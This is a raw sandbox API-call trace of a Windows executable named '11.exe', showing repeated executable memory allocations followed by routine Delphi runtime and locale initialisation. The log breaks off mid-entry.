1 [0067.790] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x24c0000 [0067.806] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x2b40000 [0067.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x40) returned 0x2b50000 [0067.806] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x2b60000 [0067.807] VirtualAlloc (lpAddress=0x0, dwSize=0x18d8, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.809] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.809] VirtualAlloc (lpAddress=0x0, dwSize=0x662, flAllocationType=0x1000, flProtect=0x40) returned 0x2b80000 [0067.810] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.810] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.810] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.811] VirtualAlloc (lpAddress=0x0, dwSize=0xd3, flAllocationType=0x1000, flProtect=0x40) returned 0x2b90000 [0067.814] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.815] VirtualAlloc (lpAddress=0x0, dwSize=0xf38, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.815] VirtualAlloc (lpAddress=0x0, dwSize=0x1eb, flAllocationType=0x1000, flProtect=0x40) returned 0x2ba0000 [0067.816] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.817] VirtualAlloc (lpAddress=0x0, dwSize=0xd54, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.818] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.818] VirtualAlloc (lpAddress=0x0, dwSize=0x664, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.818] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.819] VirtualAlloc (lpAddress=0x0, dwSize=0x18d8, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.820] VirtualAlloc (lpAddress=0x0, dwSize=0xe1, flAllocationType=0x1000, flProtect=0x40) returned 0x2bb0000 [0067.821] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.821] VirtualAlloc (lpAddress=0x0, dwSize=0xd54, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.822] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.822] VirtualAlloc (lpAddress=0x0, dwSize=0x18d8, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.826] VirtualAlloc (lpAddress=0x0, dwSize=0x6e, flAllocationType=0x1000, flProtect=0x40) returned 0x2bc0000 [0067.827] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.827] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.828] VirtualAlloc (lpAddress=0x0, dwSize=0x682, flAllocationType=0x1000, flProtect=0x40) returned 0x2bd0000 [0067.828] VirtualAlloc (lpAddress=0x0, dwSize=0x474, flAllocationType=0x1000, flProtect=0x40) returned 0x2be0000 [0067.830] VirtualAlloc (lpAddress=0x0, dwSize=0x12a, flAllocationType=0x1000, flProtect=0x40) returned 0x2bf0000 [0067.833] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.833] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0067.833] VirtualAlloc (lpAddress=0x0, dwSize=0x7b3, flAllocationType=0x1000, flProtect=0x40) returned 0x2c00000 [0067.834] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.834] VirtualAlloc (lpAddress=0x0, dwSize=0xe6c, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.836] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.837] VirtualAlloc (lpAddress=0x0, dwSize=0xf38, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0067.838] VirtualAlloc (lpAddress=0x0, dwSize=0x93c, flAllocationType=0x1000, flProtect=0x40) returned 0x2c10000 [0067.839] VirtualAlloc (lpAddress=0x0, dwSize=0x8a7, flAllocationType=0x1000, flProtect=0x40) returned 0x2c20000 [0067.900] VirtualAlloc (lpAddress=0x0, dwSize=0x4d9, flAllocationType=0x1000, flProtect=0x40) returned 0x2c40000 [0067.902] VirtualAlloc (lpAddress=0x0, dwSize=0x4ed, flAllocationType=0x1000, flProtect=0x40) returned 0x2c50000 [0067.903] VirtualAlloc (lpAddress=0x0, dwSize=0x586, flAllocationType=0x1000, flProtect=0x40) returned 0x2c60000 [0067.904] VirtualAlloc (lpAddress=0x0, dwSize=0x5c9, flAllocationType=0x1000, flProtect=0x40) returned 0x2c70000 [0067.906] VirtualAlloc (lpAddress=0x0, dwSize=0xf5e, flAllocationType=0x1000, flProtect=0x40) returned 0x2c80000 [0067.906] VirtualAlloc (lpAddress=0x0, dwSize=0x36a, flAllocationType=0x1000, flProtect=0x40) returned 0x2c90000 [0067.908] VirtualAlloc (lpAddress=0x0, dwSize=0x1465, flAllocationType=0x1000, flProtect=0x40) returned 0x2ca0000 [0067.909] VirtualAlloc (lpAddress=0x0, dwSize=0xa94, flAllocationType=0x1000, flProtect=0x40) returned 0x2cb0000 [0067.910] VirtualAlloc (lpAddress=0x0, dwSize=0xa42, flAllocationType=0x1000, flProtect=0x40) returned 0x2cc0000 [0067.911] VirtualAlloc (lpAddress=0x0, dwSize=0x138, flAllocationType=0x1000, flProtect=0x40) returned 0x2cd0000 [0067.912] VirtualAlloc (lpAddress=0x0, dwSize=0xcbd, flAllocationType=0x1000, flProtect=0x40) returned 0x2ce0000 [0067.913] VirtualAlloc (lpAddress=0x0, dwSize=0x162, flAllocationType=0x1000, flProtect=0x40) returned 0x2cf0000 [0067.914] VirtualAlloc (lpAddress=0x0, dwSize=0x918, flAllocationType=0x1000, flProtect=0x40) returned 0x2d00000 [0067.915] VirtualAlloc (lpAddress=0x0, dwSize=0x834, flAllocationType=0x1000, flProtect=0x40) returned 0x2d10000 [0067.916] VirtualAlloc (lpAddress=0x0, dwSize=0x388, flAllocationType=0x1000, flProtect=0x40) returned 0x2d20000 [0067.919] VirtualAlloc (lpAddress=0x0, dwSize=0x125b, flAllocationType=0x1000, flProtect=0x40) returned 0x2d30000 [0067.921] VirtualAlloc (lpAddress=0x0, dwSize=0xf8f, flAllocationType=0x1000, flProtect=0x40) returned 0x2d40000 [0067.922] VirtualAlloc (lpAddress=0x0, dwSize=0x710, flAllocationType=0x1000, flProtect=0x40) returned 0x2d50000 [0067.923] VirtualAlloc (lpAddress=0x0, dwSize=0x84e, flAllocationType=0x1000, flProtect=0x40) returned 0x2d60000 [0067.926] VirtualAlloc (lpAddress=0x0, dwSize=0x19d5, flAllocationType=0x1000, flProtect=0x40) returned 0x2d70000 [0067.927] VirtualAlloc (lpAddress=0x0, dwSize=0x533, flAllocationType=0x1000, flProtect=0x40) returned 0x2d80000 [0067.929] VirtualAlloc (lpAddress=0x0, dwSize=0xbdd, flAllocationType=0x1000, flProtect=0x40) returned 0x2d90000 [0067.930] VirtualAlloc (lpAddress=0x0, dwSize=0x5f8, flAllocationType=0x1000, flProtect=0x40) returned 0x2da0000 [0067.932] VirtualAlloc (lpAddress=0x0, dwSize=0x1289, flAllocationType=0x1000, flProtect=0x40) returned 0x2db0000 [0068.008] VirtualAlloc (lpAddress=0x0, dwSize=0x1af, flAllocationType=0x1000, flProtect=0x40) returned 0x2dc0000 [0068.010] VirtualAlloc (lpAddress=0x0, dwSize=0x27c, flAllocationType=0x1000, flProtect=0x40) returned 0x2dd0000 [0068.012] VirtualAlloc (lpAddress=0x0, dwSize=0x106d, flAllocationType=0x1000, flProtect=0x40) returned 0x2de0000 [0068.014] VirtualAlloc (lpAddress=0x0, dwSize=0x12c6, flAllocationType=0x1000, flProtect=0x40) returned 0x2df0000 [0068.016] VirtualAlloc (lpAddress=0x0, dwSize=0x308, flAllocationType=0x1000, flProtect=0x40) returned 0x2e00000 [0068.018] VirtualAlloc (lpAddress=0x0, dwSize=0x349, flAllocationType=0x1000, flProtect=0x40) returned 0x2e10000 [0068.020] VirtualAlloc (lpAddress=0x0, dwSize=0x29, flAllocationType=0x1000, flProtect=0x40) returned 0x2e20000 [0068.023] VirtualAlloc (lpAddress=0x0, dwSize=0xb0b, flAllocationType=0x1000, flProtect=0x40) returned 0x2e30000 [0068.025] VirtualAlloc (lpAddress=0x0, dwSize=0x14df, flAllocationType=0x1000, flProtect=0x40) returned 0x2e40000 [0068.027] VirtualAlloc (lpAddress=0x0, dwSize=0x218, flAllocationType=0x1000, flProtect=0x40) returned 0x2e50000 [0068.029] VirtualAlloc (lpAddress=0x0, dwSize=0x269, flAllocationType=0x1000, flProtect=0x40) returned 0x2e60000 [0068.032] VirtualAlloc (lpAddress=0x0, dwSize=0x6a8, flAllocationType=0x1000, flProtect=0x40) returned 0x2e70000 [0068.035] VirtualAlloc (lpAddress=0x0, dwSize=0x9e4, flAllocationType=0x1000, flProtect=0x40) returned 0x2e80000 [0068.037] VirtualAlloc (lpAddress=0x0, dwSize=0x45a, flAllocationType=0x1000, flProtect=0x40) returned 0x2e90000 [0068.040] VirtualAlloc (lpAddress=0x0, dwSize=0x1430, flAllocationType=0x1000, flProtect=0x40) returned 0x2ea0000 [0068.093] VirtualAlloc (lpAddress=0x0, dwSize=0x43a, flAllocationType=0x1000, flProtect=0x40) returned 0x2eb0000 [0068.097] VirtualAlloc (lpAddress=0x0, dwSize=0x1488, flAllocationType=0x1000, flProtect=0x40) returned 0x2ec0000 [0068.100] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x1000, flProtect=0x40) returned 0x2ed0000 [0068.101] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.102] VirtualAlloc (lpAddress=0x0, dwSize=0x18d8, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0068.103] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.103] VirtualAlloc (lpAddress=0x0, dwSize=0x664, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0068.104] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.104] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0068.116] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.117] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x1000, flProtect=0x40) returned 0x2b70000 [0068.118] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.118] VirtualFree (lpAddress=0x2470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.119] VirtualFree (lpAddress=0x24b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.120] VirtualFree (lpAddress=0x2b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.120] VirtualFree (lpAddress=0x2b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.120] VirtualFree (lpAddress=0x2b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.258] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x73ad6d | out: Wow64Process=0x73ad6d) returned 1 [0068.435] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b8324 | out: lpflOldProtect=0x4b8324*=0x4) returned 1 [0068.435] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b9765 | out: lpflOldProtect=0x4b9765*=0x4) returned 1 [0068.436] GetProcessHeap () returned 0x940000 [0068.436] GetProcAddress (hModule=0x77bb0000, lpProcName="RtlAllocateHeap") returned 0x77bf2dc0 [0068.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x4) returned 0x955288 [0068.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x4) returned 0x955298 [0068.459] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b8324 | out: lpflOldProtect=0x4b8324*=0x4) returned 1 [0068.460] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b8b55 | out: lpflOldProtect=0x4b8b55*=0x4) returned 1 [0068.466] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0068.466] WTSGetServiceSessionId () returned 0x0 [0068.476] RtlGetActiveConsoleId () returned 0x1 [0068.533] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" " [0068.533] GetCurrentThreadId () returned 0xd58 [0068.533] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f924, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0068.533] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19f7ff, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0068.533] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19f914 | out: phkResult=0x19f914*=0x0) returned 0x2 [0068.535] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19f914 | out: phkResult=0x19f914*=0x0) returned 0x2 [0068.536] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19f914 | out: phkResult=0x19f914*=0x0) returned 0x2 [0068.536] lstrcpynA (in: lpString1=0x19f7ff, lpString2="C:\\Users\\FD1HVy\\Desktop\\11.exe", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\11.exe") returned="C:\\Users\\FD1HVy\\Desktop\\11.exe" [0068.536] GetThreadLocale () returned 0x409 [0068.553] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x19f90f, cchData=5 | out: lpLCData="ENU") returned 4 [0068.554] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\11.exe") returned 30 [0068.554] lstrcpynA (in: lpString1=0x19f81a, lpString2="ENU", iMaxLength=234 | out: lpString1="ENU") returned="ENU" [0068.554] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\Desktop\\11.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0068.554] lstrcpynA (in: lpString1=0x19f81a, lpString2="EN", iMaxLength=234 | out: lpString1="EN") returned="EN" [0068.554] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\Desktop\\11.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0068.554] LoadStringBaseExW () returned 0x0 [0068.554] LoadStringBaseExW () returned 0x0 [0068.555] LoadStringBaseExW () returned 0x0 [0068.555] LoadStringBaseExW () returned 0x0 [0068.555] LoadStringBaseExW () returned 0x0 [0068.555] LoadStringBaseExW () returned 0x0 [0068.556] LoadStringBaseExW () returned 0x0 [0068.556] LoadStringBaseExW () returned 0x0 [0068.556] LoadStringBaseExW () returned 0x0 [0068.556] LoadStringBaseExW () returned 0x0 [0068.556] LoadStringBaseExW () returned 0x0 [0068.557] LoadStringBaseExW () returned 0x0 [0068.557] LoadStringBaseExW () returned 0x0 [0068.557] LoadStringBaseExW () returned 0x0 [0068.557] LoadStringBaseExW () returned 0x0 [0068.557] LoadStringBaseExW () returned 0x0 [0068.558] LoadStringBaseExW () returned 0x0 [0068.558] LoadStringBaseExW () returned 0x0 [0068.558] LoadStringBaseExW () returned 0x0 [0068.558] LoadStringBaseExW () returned 0x0 [0068.559] LoadStringBaseExW () returned 0x0 [0068.559] LoadStringBaseExW () returned 0x0 [0068.559] LoadStringBaseExW () returned 0x0 [0068.559] LoadStringBaseExW () returned 0x0 [0068.560] LoadStringBaseExW () returned 0x0 [0068.560] LoadStringBaseExW () returned 0x0 [0068.560] LoadStringBaseExW () returned 0x0 [0068.560] LoadStringBaseExW () returned 0x0 [0068.561] LoadStringBaseExW () returned 0x0 [0068.572] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x95fef8 [0068.573] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x2ee0000 [0068.573] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x960ef8 [0068.574] VirtualAlloc (lpAddress=0x2ee0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2ee0000 [0068.575] LoadStringBaseExW () returned 0x0 [0068.575] LoadStringBaseExW () returned 0x0 [0068.577] GetVersionExA (in: lpVersionInformation=0x19fdcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x401ff5, dwMinorVersion=0x2ee0000, dwBuildNumber=0x4000, dwPlatformId=0x0, szCSDVersion="\xc0\x20\x40") | out: lpVersionInformation=0x19fdcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0068.582] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0068.582] GetProcAddressForCaller () returned 0x75efee90 [0068.583] GetThreadLocale () returned 0x409 [0068.583] GetThreadLocale () returned 0x409 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Jan") returned 4 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x19fca4, cchData=256 | out: lpLCData="January") returned 8 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Feb") returned 4 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x19fca4, cchData=256 | out: lpLCData="February") returned 9 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Mar") returned 4 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x19fca4, cchData=256 | out: lpLCData="March") returned 6 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Apr") returned 4 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x19fca4, cchData=256 | out: lpLCData="April") returned 6 [0068.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x19fca4, cchData=256 | out: lpLCData="May") returned 4 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x19fca4, cchData=256 | out: lpLCData="May") returned 4 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Jun") returned 4 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x19fca4, cchData=256 | out: lpLCData="June") returned 5 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Jul") returned 4 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x19fca4, cchData=256 | out: lpLCData="July") returned 5 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Aug") returned 4 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x19fca4, cchData=256 | out: lpLCData="August") returned 7 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Sep") returned 4 [0068.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x19fca4, cchData=256 | out: lpLCData="September") returned 10 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Oct") returned 4 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x19fca4, cchData=256 | out: lpLCData="October") returned 8 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Nov") returned 4 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x19fca4, cchData=256 | out: lpLCData="November") returned 9 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Dec") returned 4 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x19fca4, cchData=256 | out: lpLCData="December") returned 9 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Sun") returned 4 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Sunday") returned 7 [0068.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Mon") returned 4 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Monday") returned 7 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Tue") returned 4 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Tuesday") returned 8 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Wed") returned 4 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Wednesday") returned 10 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Thu") returned 4 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Thursday") returned 9 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Fri") returned 4 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Friday") returned 7 [0068.586] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Sat") returned 4 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x19fca4, cchData=256 | out: lpLCData="Saturday") returned 9 [0068.587] GetThreadLocale () returned 0x409 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x19fd00, cchData=256 | out: lpLCData="$") returned 2 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x19fd00, cchData=256 | out: lpLCData="0") returned 2 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x19fd00, cchData=256 | out: lpLCData="0") returned 2 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x19fdf8, cchData=2 | out: lpLCData=",") returned 2 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x19fdf8, cchData=2 | out: lpLCData=".") returned 2 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x19fd00, cchData=256 | out: lpLCData="2") returned 2 [0068.587] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x19fdf8, cchData=2 | out: lpLCData="/") returned 2 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x19fd00, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0068.588] GetThreadLocale () returned 0x409 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fccc, cchData=256 | out: lpLCData="1") returned 2 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x19fd00, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0068.588] GetThreadLocale () returned 0x409 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fccc, cchData=256 | out: lpLCData="1") returned 2 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x19fdf8, cchData=2 | out: lpLCData=":") returned 2 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x19fd00, cchData=256 | out: lpLCData="AM") returned 3 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x19fd00, cchData=256 | out: lpLCData="PM") returned 3 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x19fd00, cchData=256 | out: lpLCData="0") returned 2 [0068.588] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x19fd00, cchData=256 | out: lpLCData="0") returned 2 [0068.589] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x19fd00, cchData=256 | out: lpLCData="0") returned 2 [0068.589] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x19fdf8, cchData=2 | out: lpLCData=",") returned 2 [0068.623] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x244 [0068.623] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x248 [0068.635] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x24c [0068.635] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x250 [0068.663] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x74b70000 [0068.664] NtUserGetDC () returned 0x160100c7 [0068.664] GetDeviceCaps (hdc=0x160100c7, index=90) returned 96 [0068.665] GdiReleaseDC () returned 0x1 [0068.665] NtUserCallOneParam (Param=0x160100c7, Routine=0x48) returned 0x1 [0068.665] NtUserGetDC () returned 0x160100c7 [0068.665] GetDeviceCaps (hdc=0x160100c7, index=104) returned 0 [0068.665] GdiReleaseDC () returned 0x1 [0068.665] NtUserCallOneParam (Param=0x160100c7, Routine=0x48) returned 0x1 [0068.666] CreatePalette (plpal=0x19fa5c) returned 0x670806f0 [0068.824] GetStockObject (i=7) returned 0xb00017 [0068.824] GetStockObject (i=5) returned 0x900015 [0068.824] GetStockObject (i=13) returned 0x8a01c2 [0068.825] LoadIcoCur () returned 0x10027 [0068.919] LoadStringBaseExW () returned 0x0 [0068.920] LoadStringBaseExW () returned 0x0 [0068.920] LoadStringBaseExW () returned 0x0 [0068.920] LoadStringBaseExW () returned 0x0 [0068.920] LoadStringBaseExW () returned 0x0 [0068.920] LoadStringBaseExW () returned 0x0 [0068.921] LoadStringBaseExW () returned 0x0 [0068.921] LoadStringBaseExW () returned 0x0 [0068.921] LoadStringBaseExW () returned 0x0 [0068.921] LoadStringBaseExW () returned 0x0 [0068.921] LoadStringBaseExW () returned 0x0 [0068.922] LoadStringBaseExW () returned 0x0 [0068.962] LoadStringBaseExW () returned 0x0 [0068.962] LoadStringBaseExW () returned 0x0 [0068.962] LoadStringBaseExW () returned 0x0 [0068.962] LoadStringBaseExW () returned 0x0 [0068.963] LoadStringBaseExW () returned 0x0 [0068.963] LoadStringBaseExW () returned 0x0 [0069.305] GetVersion () returned 0x23f00206 [0069.305] GetCurrentProcessId () returned 0xb04 [0069.305] InternalAddAtom () returned 0xc0a4 [0069.305] GetCurrentThreadId () returned 0xd58 [0069.305] InternalAddAtom () returned 0xc0a3 [0069.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x36) returned 0x95c0f8 [0069.358] RtlMultiByteToUnicodeN (in: UnicodeString=0x95c0f8, MaxBytesInUnicodeString=0x36, BytesInUnicodeString=0x19fe1c, MultiByteString="ControlOfs0040000000000D58", BytesInMultiByteString=0x1b | out: UnicodeString="ControlOfs0040000000000D58", BytesInUnicodeString=0x19fe1c) returned 0x0 [0069.397] NtUserRegisterWindowMessage () returned 0xc177 [0069.417] GetProcAddressForCaller () returned 0x74b9df30 [0069.417] GetProcAddressForCaller () returned 0x74b9ddc0 [0069.417] GetSystemMetrics (nIndex=19) returned 1 [0070.096] GetSystemMetrics (nIndex=75) returned 1 [0070.113] __SEH_prolog4_GS () returned 0x19fdd4 [0070.113] IsInsideUserApiHook () returned 0x1 [0070.113] _BeginIfHookedUserApiHook () returned 0x1 [0070.113] __SEH_epilog4_GS () returned 0x1 [0070.117] LoadIcoCur () returned 0x10003 [0070.118] LoadIcoCur () returned 0x10015 [0070.118] LoadIcoCur () returned 0xb01fd [0070.119] LoadIcoCur () returned 